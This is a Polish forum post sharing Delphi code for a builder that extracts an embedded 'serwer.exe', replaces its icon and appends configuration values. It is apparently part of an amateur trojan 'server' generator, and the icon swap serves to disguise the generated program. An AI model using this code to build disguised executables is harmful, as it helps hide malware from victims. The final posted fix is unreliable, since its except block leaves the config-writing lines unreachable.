Zmieniacz ikon w konfiguratorze.

[Bezel21]

Potrzebuję pomocy w zrobieniu zmieniacza ikon w konfiguratorze:
-myślałem o zmianie ikony w zasobie, ale niestety nie konfiguruje mi serwera..
W źródle pozwoliłem sobie skorzystać z tutoriala Errorxa i kodu do zmiany ikony pewnego pana.
Prosze o pomoc...

Oto kod:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, jpeg, ExtCtrls, XPMenu;

type
PICONDIRENTRYCOMMON = ^ICONDIRENTRYCOMMON;
ICONDIRENTRYCOMMON = packed record
bWidth : Byte;
bHeight : Byte;
bColorCount : Byte;
bReserved : Byte;
wPlanes : Word;
wBitCount : Word;
dwBytesInRes : DWord;
end;

PICONDIRENTRY = ^ICONDIRENTRY;
ICONDIRENTRY = packed record
common : ICONDIRENTRYCOMMON;
dwImageOffset : DWord;
end;

PICONDIR = ^ICONDIR;
ICONDIR = packed record
idReserved : Word;
idType : Word;
idCount : Word;
idEntries : ICONDIRENTRY;
end;

PGRPICONDIRENTRY = ^GRPICONDIRENTRY;
GRPICONDIRENTRY = packed record
common : ICONDIRENTRYCOMMON;
nID : Word;
end;

PGRPICONDIR = ^GRPICONDIR;
GRPICONDIR = packed record
idReserved : Word;
idType : Word;
idCount : Word;
idEntries : GRPICONDIRENTRY;
end;

  TForm1 = class(TForm)
    GroupBox1: TGroupBox;
    Button1: TButton;
    GroupBox2: TGroupBox;
    Image1: TImage;
    GroupBox3: TGroupBox;
    Label4: TLabel;
    Label5: TLabel;
    Label6: TLabel;
    Edit1: TEdit;
    Edit2: TEdit;
    Edit3: TEdit;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    GroupBox4: TGroupBox;
    Panel1: TPanel;
    Image2: TImage;
    Edit4: TEdit;
    Label7: TLabel;
    Button2: TButton;
    OpenDialog1: TOpenDialog;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Res : TResourceStream;
  Dir : String;
  Form1: TForm1;

function UpdateApplicationIcon(srcicon : PChar; destexe : PChar) : Boolean;

implementation

{$R *.dfm}
{$R zasob.RES}

function UpdateApplicationIcon(srcicon : PChar; destexe : PChar) : Boolean;
var
  hFile : Integer;
  id : ICONDIR;
  pid : PICONDIR;
  pgid : PGRPICONDIR;
  uRead : DWord;
  nSize : DWord;
  pvFile : PByte;
  hInst : LongInt;
begin
  result := False;
  hFile := CreateFile(srcicon, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  if hFile > 0 then
begin
  ReadFile(hFile, id, sizeof(id), uRead, nil);
  SetFilePointer(hFile, 0, nil, FILE_BEGIN);
  GetMem(pid, sizeof(ICONDIR) + sizeof(ICONDIRENTRY));
  GetMem(pgid, sizeof(GRPICONDIR) + sizeof(GRPICONDIRENTRY));
  ReadFile(hFile, pid^, sizeof(ICONDIR) + sizeof(ICONDIRENTRY), uRead, nil);
  move(pid^, pgid^, sizeof(GRPICONDIR));
  pgid^.idEntries.common := pid^.idEntries.common;
  pgid^.idEntries.nID := 1;
  nSize := pid^.idEntries.common.dwBytesInRes;
  GetMem(pvFile, nSize);
  SetFilePointer(hFile, pid^.idEntries.dwImageOffset, nil, FILE_BEGIN);
  ReadFile(hFile, pvFile^, nSize, uRead, nil);
  CloseHandle(hFile);
  hInst:=BeginUpdateResource(destexe, False);
  if hInst > 0 then
begin
  UpdateResource(hInst, RT_ICON, MAKEINTRESOURCE(1), LANG_NEUTRAL, pvFile, nSize);
  EndUpdateResource(hInst, False);
  result := True;
end;
  FreeMem(pvFile);
  FreeMem(pgid);
  FreeMem(pid);
end;
end;

procedure SaveToExe(FName, Str: string);
var 
  F : File of Byte;
  I : Integer;
begin 
  AssignFile(F, FName);
  Reset(F);
try
  Seek(F, FileSize(F) - SizeOf(I));
  BlockRead(F, I, SizeOf(I));
  if (I < SizeOf(I)) or (I > FileSize(F)) then I := 0;
  Seek(F, FileSize(F) - I);
  Truncate(F);
  BlockWrite(F, Str[1], Length(Str));
  I := Length(Str) + SizeOf(I);
  BlockWrite(F, I, SizeOf(I));
finally
  CloseFile(F);
end;
end;

procedure TForm1.Button1Click(Sender: TObject);  // generowanie serwera.
begin
  Res := TResourceStream.Create(hInstance, 'serwer', RT_RCDATA);
  {tu jest problem \/, bo przez ten kod nie generuje sie serwer...}
  UpdateApplicationIcon(PChar(Edit4.Text), PChar(Res)); // próbowalem zmieniac na GetCurrentDir + \'serwer.exe'...
  Res.SaveToFile(GetCurrentDir+'\serwer.exe');
  Res.Free;
  sleep(500);
  SaveToExe('serwer.exe',Edit1.Text+'|'+Edit2.Text+'|'+Edit3.Text);
 end;

procedure TForm1.Button2Click(Sender: TObject);  // ladowanie ikony
begin
  OpenDialog1.Execute;
  if FileExists(OpenDialog1.FileName) then
begin
  Edit4.Text := OpenDialog1.FileName;
  Image2.Picture.LoadFromFile(Edit4.Text);
end;
end;
end.

@edit

Zauważyłem też, że serwer.exe się tworzy, ale nie w miejscu katologu, dlatego poprawiłem linijkę:

  Res.SaveToFile(GetCurrentDir+'\serwer.exe');

na

  Res.SaveToFile(ExtractFileDir(Application.ExeName) + '\serwer.exe');

@edit2

Problem rozwiązany ze zmianą ikony.
Teraz tylko jeżeli ikona jest w innym miejscu niż konfigurator to wyskakuje error - File not Found - myślę, że to pójdzie dużo łatwiej.

Pozdrawiam.

@edit3 - finall

Poprawcie Button1Click na :

procedure TForm1.Button1Click(Sender: TObject);
begin
  Res := TResourceStream.Create(hInstance, 'serwer', RT_RCDATA);
  Res.SaveToFile(ExtractFileDir(Application.ExeName) + '\serwer.exe');
try
  UpdateApplicationIcon(PChar(Edit4.Text), PChar(ExtractFileDir(Application.ExeName) + '\serwer.exe'));
except
  raise Exception.Create('Serwer zostal wygenerowany');
  Res.Free;
  sleep(500);
  SaveToExe('serwer.exe',Edit1.Text+'|'+Edit2.Text+'|'+Edit3.Text);
end;
end;

I wam tez bedzie smigac - macie tu gotowy zmieniacz ikon do Waszych konfiguratorów.
Pozdrawiam!